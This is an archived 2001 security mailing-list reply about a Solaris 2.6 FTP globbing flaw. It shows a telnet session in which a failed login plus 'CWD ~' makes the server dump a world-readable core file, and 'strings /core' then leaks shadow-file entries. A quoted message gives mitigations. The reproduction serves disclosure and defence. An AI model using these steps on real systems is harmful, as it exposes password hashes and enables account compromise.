Re: SUN SOLARIS 5.6/5.7 FTP Globbing Exploit !

From: Warning3 (warning3at_private)
Date: Mon Apr 16 2001 - 23:44:49 PDT

  • Next message: Robert Varga: "Re: Solaris ipcs vulnerability"

    Yes. It is possible that local user can get the part of shadow file in
    Solaris 2.6 since the core file is world readable.
    
    [root@ /usr/sbin]> telnet localhost 21
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    220 sun26 FTP server (SunOS 5.6) ready.
    user warning3
    331 Password required for warning3. <-- a valid username
    pass blahblah <--- a wrong password
    530 Login incorrect.
    CWD ~
    530 Please login with USER and PASS.
    Connection closed by foreign host.
    [root@ /usr/sbin]> ls -l /core
    -rw-r--r--   1 root     root      284304 Apr 16 10:20 /core
    [root@ /usr/sbin]> strings /core|more
    [...snip...]
    lp:NP:6445::::::
    P:64
    eH::::
    uucp:NP:6445:::
    [...snip...]
    
    ---Original Message---
    [...snip...]
    >
    >However, this can present other problems, so you should ensure that core
    >dumps are disabled for inetd (add "ulimit -c 0" before starting inetd in
    >/etc/init.d/inetsvc) or at least that they are not world readable (add a
    >umask line); they are world readable by default under 2.6.
    >
    >--
    >	   ghandi / ghandiat_private / www.dopesquad.net
    >       "Bein' Crazy is the least of my worries." - Jack Kerouac
    >	  C439 2B06 D8D2 A2D8 1ABB  0A55 A61D 9057 63F5 9B1F
    
    
    Regards,
    Warning3 <warning3at_private>
    http://www.nsfocus.com
    



    This archive was generated by hypermail 2b30 : Tue Apr 17 2001 - 08:57:41 PDT